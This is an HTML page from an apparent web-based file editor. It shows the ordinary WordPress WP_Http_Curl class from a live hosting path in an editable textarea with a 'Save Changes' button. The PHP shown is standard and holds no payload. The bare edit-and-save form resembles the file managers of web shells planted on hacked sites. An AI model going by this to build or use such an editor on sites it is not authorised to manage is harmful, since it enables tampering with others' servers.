<h2>File Contents: /home/planet5/public_html/wp-includes/class-wp-http-curl.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/public_html/wp-includes/class-wp-http-curl.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * HTTP API: WP_Http_Curl class
 *
 * @package WordPress
 * @subpackage HTTP
 * @since 4.4.0
 */

/**
 * Core class used to integrate Curl as an HTTP transport.
 *
 * HTTP request method uses Curl extension to retrieve the url.
 *
 * Requires the Curl extension to be installed.
 *
 * @since 2.7.0
 * @deprecated 6.4.0 Use WP_Http
 * @see WP_Http
 */
#[AllowDynamicProperties]
class WP_Http_Curl {

	/**
	 * Temporary header storage for during requests.
	 *
	 * @since 3.2.0
	 * @var string
	 */
	private $headers = &#039;&#039;;

	/**
	 * Temporary body storage for during requests.
	 *
	 * @since 3.6.0
	 * @var string
	 */
	private $body = &#039;&#039;;

	/**
	 * The maximum amount of data to receive from the remote server.
	 *
	 * @since 3.6.0
	 * @var int|false
	 */
	private $max_body_length = false;

	/**
	 * The file resource used for streaming to file.
	 *
	 * @since 3.6.0
	 * @var resource|false
	 */
	private $stream_handle = false;

	/**
	 * The total bytes written in the current request.
	 *
	 * @since 4.1.0
	 * @var int
	 */
	private $bytes_written_total = 0;

	/**
	 * Send a HTTP request to a URI using cURL extension.
	 *
	 * @since 2.7.0
	 *
	 * @param string       $url  The request URL.
	 * @param string|array $args Optional. Override the defaults.
	 * @return array|WP_Error Array containing &#039;headers&#039;, &#039;body&#039;, &#039;response&#039;, &#039;cookies&#039;, &#039;filename&#039;. A WP_Error instance upon error
	 */
	public function request( $url, $args = array() ) {
		$defaults = array(
			&#039;method&#039;      =&gt; &#039;GET&#039;,
			&#039;timeout&#039;     =&gt; 5,
			&#039;redirection&#039; =&gt; 5,
			&#039;httpversion&#039; =&gt; &#039;1.0&#039;,
			&#039;blocking&#039;    =&gt; true,
			&#039;headers&#039;     =&gt; array(),
			&#039;body&#039;        =&gt; null,
			&#039;cookies&#039;     =&gt; array(),
			&#039;decompress&#039;  =&gt; false,
			&#039;stream&#039;      =&gt; false,
			&#039;filename&#039;    =&gt; null,
		);

		$parsed_args = wp_parse_args( $args, $defaults );

		if ( isset( $parsed_args[&#039;headers&#039;][&#039;User-Agent&#039;] ) ) {
			$parsed_args[&#039;user-agent&#039;] = $parsed_args[&#039;headers&#039;][&#039;User-Agent&#039;];
			unset( $parsed_args[&#039;headers&#039;][&#039;User-Agent&#039;] );
		} elseif ( isset( $parsed_args[&#039;headers&#039;][&#039;user-agent&#039;] ) ) {
			$parsed_args[&#039;user-agent&#039;] = $parsed_args[&#039;headers&#039;][&#039;user-agent&#039;];
			unset( $parsed_args[&#039;headers&#039;][&#039;user-agent&#039;] );
		}

		// Construct Cookie: header if any cookies are set.
		WP_Http::buildCookieHeader( $parsed_args );

		$handle = curl_init();

		// cURL offers really easy proxy support.
		$proxy = new WP_HTTP_Proxy();

		if ( $proxy-&gt;is_enabled() &amp;&amp; $proxy-&gt;send_through_proxy( $url ) ) {

			curl_setopt( $handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP );
			curl_setopt( $handle, CURLOPT_PROXY, $proxy-&gt;host() );
			curl_setopt( $handle, CURLOPT_PROXYPORT, $proxy-&gt;port() );

			if ( $proxy-&gt;use_authentication() ) {
				curl_setopt( $handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY );
				curl_setopt( $handle, CURLOPT_PROXYUSERPWD, $proxy-&gt;authentication() );
			}
		}

		$is_local   = isset( $parsed_args[&#039;local&#039;] ) &amp;&amp; $parsed_args[&#039;local&#039;];
		$ssl_verify = isset( $parsed_args[&#039;sslverify&#039;] ) &amp;&amp; $parsed_args[&#039;sslverify&#039;];
		if ( $is_local ) {
			/** This filter is documented in wp-includes/class-wp-http-streams.php */
			$ssl_verify = apply_filters( &#039;https_local_ssl_verify&#039;, $ssl_verify, $url );
		} elseif ( ! $is_local ) {
			/** This filter is documented in wp-includes/class-wp-http.php */
			$ssl_verify = apply_filters( &#039;https_ssl_verify&#039;, $ssl_verify, $url );
		}

		/*
		 * CURLOPT_TIMEOUT and CURLOPT_CONNECTTIMEOUT expect integers. Have to use ceil since.
		 * a value of 0 will allow an unlimited timeout.
		 */
		$timeout = (int) ceil( $parsed_args[&#039;timeout&#039;] );
		curl_setopt( $handle, CURLOPT_CONNECTTIMEOUT, $timeout );
		curl_setopt( $handle, CURLOPT_TIMEOUT, $timeout );

		curl_setopt( $handle, CURLOPT_URL, $url );
		curl_setopt( $handle, CURLOPT_RETURNTRANSFER, true );
		curl_setopt( $handle, CURLOPT_SSL_VERIFYHOST, ( true === $ssl_verify ) ? 2 : false );
		curl_setopt( $handle, CURLOPT_SSL_VERIFYPEER, $ssl_verify );

		if ( $ssl_verify ) {
			curl_setopt( $handle, CURLOPT_CAINFO, $parsed_args[&#039;sslcertificates&#039;] );
		}

		curl_setopt( $handle, CURLOPT_USERAGENT, $parsed_args[&#039;user-agent&#039;] );

		/*
		 * The option doesn&#039;t work with safe mode or when open_basedir is set, and there&#039;s
		 * a bug #17490 with redirected POST requests, so handle redirections outside Curl.
		 */
		curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, false );
		curl_setopt( $handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS );

		switch ( $parsed_args[&#039;method&#039;] ) {
			case &#039;HEAD&#039;:
				curl_setopt( $handle, CURLOPT_NOBODY, true );
				break;
			case &#039;POST&#039;:
				curl_setopt( $handle, CURLOPT_POST, true );
				curl_setopt( $handle, CURLOPT_POSTFIELDS, $parsed_args[&#039;body&#039;] );
				break;
			case &#039;PUT&#039;:
				curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, &#039;PUT&#039; );
				curl_setopt( $handle, CURLOPT_POSTFIELDS, $parsed_args[&#039;body&#039;] );
				break;
			default:
				curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, $parsed_args[&#039;method&#039;] );
				if ( ! is_null( $parsed_args[&#039;body&#039;] ) ) {
					curl_setopt( $handle, CURLOPT_POSTFIELDS, $parsed_args[&#039;body&#039;] );
				}
				break;
		}

		if ( true === $parsed_args[&#039;blocking&#039;] ) {
			curl_setopt( $handle, CURLOPT_HEADERFUNCTION, array( $this, &#039;stream_headers&#039; ) );
			curl_setopt( $handle, CURLOPT_WRITEFUNCTION, array( $this, &#039;stream_body&#039; ) );
		}

		curl_setopt( $handle, CURLOPT_HEADER, false );

		if ( isset( $parsed_args[&#039;limit_response_size&#039;] ) ) {
			$this-&gt;max_body_length = (int) $parsed_args[&#039;limit_response_size&#039;];
		} else {
			$this-&gt;max_body_length = false;
		}

		// If streaming to a file open a file handle, and setup our curl streaming handler.
		if ( $parsed_args[&#039;stream&#039;] ) {
			if ( ! WP_DEBUG ) {
				$this-&gt;stream_handle = @fopen( $parsed_args[&#039;filename&#039;], &#039;w+&#039; );
			} else {
				$this-&gt;stream_handle = fopen( $parsed_args[&#039;filename&#039;], &#039;w+&#039; );
			}
			if ( ! $this-&gt;stream_handle ) {
				return new WP_Error(
					&#039;http_request_failed&#039;,
					sprintf(
						/* translators: 1: fopen(), 2: File name. */
						__( &#039;Could not open handle for %1$s to %2$s.&#039; ),
						&#039;fopen()&#039;,
						$parsed_args[&#039;filename&#039;]
					)
				);
			}
		} else {
			$this-&gt;stream_handle = false;
		}

		if ( ! empty( $parsed_args[&#039;headers&#039;] ) ) {
			// cURL expects full header strings in each element.
			$headers = array();
			foreach ( $parsed_args[&#039;headers&#039;] as $name =&gt; $value ) {
				$headers[] = &quot;{$name}: $value&quot;;
			}
			curl_setopt( $handle, CURLOPT_HTTPHEADER, $headers );
		}

		if ( &#039;1.0&#039; === $parsed_args[&#039;httpversion&#039;] ) {
			curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0 );
		} else {
			curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1 );
		}

		/**
		 * Fires before the cURL request is executed.
		 *
		 * Cookies are not currently handled by the HTTP API. This action allows
		 * plugins to handle cookies themselves.
		 *
		 * @since 2.8.0
		 *
		 * @param resource $handle      The cURL handle returned by curl_init() (passed by reference).
		 * @param array    $parsed_args The HTTP request arguments.
		 * @param string   $url         The request URL.
		 */
		do_action_ref_array( &#039;http_api_curl&#039;, array( &amp;$handle, $parsed_args, $url ) );

		// We don&#039;t need to return the body, so don&#039;t. Just execute request and return.
		if ( ! $parsed_args[&#039;blocking&#039;] ) {
			curl_exec( $handle );

			$curl_error = curl_error( $handle );

			if ( $curl_error ) {
				if ( PHP_VERSION_ID &lt; 80000 ) { // curl_close() has no effect as of PHP 8.0.
					curl_close( $handle );
				}

				return new WP_Error( &#039;http_request_failed&#039;, $curl_error );
			}

			if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ), true ) ) {
				if ( PHP_VERSION_ID &lt; 80000 ) { // curl_close() has no effect as of PHP 8.0.
					curl_close( $handle );
				}

				return new WP_Error( &#039;http_request_failed&#039;, __( &#039;Too many redirects.&#039; ) );
			}

			if ( PHP_VERSION_ID &lt; 80000 ) { // curl_close() has no effect as of PHP 8.0.
				curl_close( $handle );
			}

			return array(
				&#039;headers&#039;  =&gt; array(),
				&#039;body&#039;     =&gt; &#039;&#039;,
				&#039;response&#039; =&gt; array(
					&#039;code&#039;    =&gt; false,
					&#039;message&#039; =&gt; false,
				),
				&#039;cookies&#039;  =&gt; array(),
			);
		}

		curl_exec( $handle );

		$processed_headers   = WP_Http::processHeaders( $this-&gt;headers, $url );
		$body                = $this-&gt;body;
		$bytes_written_total = $this-&gt;bytes_written_total;

		$this-&gt;headers             = &#039;&#039;;
		$this-&gt;body                = &#039;&#039;;
		$this-&gt;bytes_written_total = 0;

		$curl_error = curl_errno( $handle );

		// If an error occurred, or, no response.
		if ( $curl_error || ( 0 === strlen( $body ) &amp;&amp; empty( $processed_headers[&#039;headers&#039;] ) ) ) {
			if ( CURLE_WRITE_ERROR /* 23 */ === $curl_error ) {
				if ( ! $this-&gt;max_body_length || $this-&gt;max_body_length !== $bytes_written_total ) {
					if ( $parsed_args[&#039;stream&#039;] ) {
						if ( PHP_VERSION_ID &lt; 80000 ) { // curl_close() has no effect as of PHP 8.0.
							curl_close( $handle );
						}

						fclose( $this-&gt;stream_handle );

						return new WP_Error( &#039;http_request_failed&#039;, __( &#039;Failed to write request to temporary file.&#039; ) );
					} else {
						if ( PHP_VERSION_ID &lt; 80000 ) { // curl_close() has no effect as of PHP 8.0.
							curl_close( $handle );
						}

						return new WP_Error( &#039;http_request_failed&#039;, curl_error( $handle ) );
					}
				}
			} else {
				$curl_error = curl_error( $handle );

				if ( $curl_error ) {
					if ( PHP_VERSION_ID &lt; 80000 ) { // curl_close() has no effect as of PHP 8.0.
						curl_close( $handle );
					}

					return new WP_Error( &#039;http_request_failed&#039;, $curl_error );
				}
			}

			if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ), true ) ) {
				if ( PHP_VERSION_ID &lt; 80000 ) { // curl_close() has no effect as of PHP 8.0.
					curl_close( $handle );
				}

				return new WP_Error( &#039;http_request_failed&#039;, __( &#039;Too many redirects.&#039; ) );
			}
		}

		if ( PHP_VERSION_ID &lt; 80000 ) { // curl_close() has no effect as of PHP 8.0.
			curl_close( $handle );
		}

		if ( $parsed_args[&#039;stream&#039;] ) {
			fclose( $this-&gt;stream_handle );
		}

		$response = array(
			&#039;headers&#039;  =&gt; $processed_headers[&#039;headers&#039;],
			&#039;body&#039;     =&gt; null,
			&#039;response&#039; =&gt; $processed_headers[&#039;response&#039;],
			&#039;cookies&#039;  =&gt; $processed_headers[&#039;cookies&#039;],
			&#039;filename&#039; =&gt; $parsed_args[&#039;filename&#039;],
		);

		// Handle redirects.
		$redirect_response = WP_Http::handle_redirects( $url, $parsed_args, $response );
		if ( false !== $redirect_response ) {
			return $redirect_response;
		}

		if ( true === $parsed_args[&#039;decompress&#039;]
			&amp;&amp; true === WP_Http_Encoding::should_decode( $processed_headers[&#039;headers&#039;] )
		) {
			$body = WP_Http_Encoding::decompress( $body );
		}

		$response[&#039;body&#039;] = $body;

		return $response;
	}

	/**
	 * Grabs the headers of the cURL request.
	 *
	 * Each header is sent individually to this callback, and is appended to the `$header` property
	 * for temporary storage.
	 *
	 * @since 3.2.0
	 *
	 * @param resource $handle  cURL handle.
	 * @param string   $headers cURL request headers.
	 * @return int Length of the request headers.
	 */
	private function stream_headers( $handle, $headers ) {
		$this-&gt;headers .= $headers;
		return strlen( $headers );
	}

	/**
	 * Grabs the body of the cURL request.
	 *
	 * The contents of the document are passed in chunks, and are appended to the `$body`
	 * property for temporary storage. Returning a length shorter than the length of
	 * `$data` passed in will cause cURL to abort the request with `CURLE_WRITE_ERROR`.
	 *
	 * @since 3.6.0
	 *
	 * @param resource $handle cURL handle.
	 * @param string   $data   cURL request body.
	 * @return int Total bytes of data written.
	 */
	private function stream_body( $handle, $data ) {
		$data_length = strlen( $data );

		if ( $this-&gt;max_body_length &amp;&amp; ( $this-&gt;bytes_written_total + $data_length ) &gt; $this-&gt;max_body_length ) {
			$data_length = ( $this-&gt;max_body_length - $this-&gt;bytes_written_total );
			$data        = substr( $data, 0, $data_length );
		}

		if ( $this-&gt;stream_handle ) {
			$bytes_written = fwrite( $this-&gt;stream_handle, $data );
		} else {
			$this-&gt;body   .= $data;
			$bytes_written = $data_length;
		}

		$this-&gt;bytes_written_total += $bytes_written;

		// Upon event of this function returning less than strlen( $data ) curl will error with CURLE_WRITE_ERROR.
		return $bytes_written;
	}

	/**
	 * Determines whether this class can be used for retrieving a URL.
	 *
	 * @since 2.7.0
	 *
	 * @param array $args Optional. Array of request arguments. Default empty array.
	 * @return bool False means this class can not be used, true means it can.
	 */
	public static function test( $args = array() ) {
		if ( ! function_exists( &#039;curl_init&#039; ) || ! function_exists( &#039;curl_exec&#039; ) ) {
			return false;
		}

		$is_ssl = isset( $args[&#039;ssl&#039;] ) &amp;&amp; $args[&#039;ssl&#039;];

		if ( $is_ssl ) {
			$curl_version = curl_version();
			// Check whether this cURL version support SSL requests.
			if ( ! ( CURL_VERSION_SSL &amp; $curl_version[&#039;features&#039;] ) ) {
				return false;
			}
		}

		/**
		 * Filters whether cURL can be used as a transport for retrieving a URL.
		 *
		 * @since 2.7.0
		 *
		 * @param bool  $use_class Whether the class can be used. Default true.
		 * @param array $args      An array of request arguments.
		 */
		return apply_filters( &#039;use_curl_transport&#039;, true, $args );
	}
}
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fpublic_html%2Fwp-includes'>⬅ Back to Directory</a>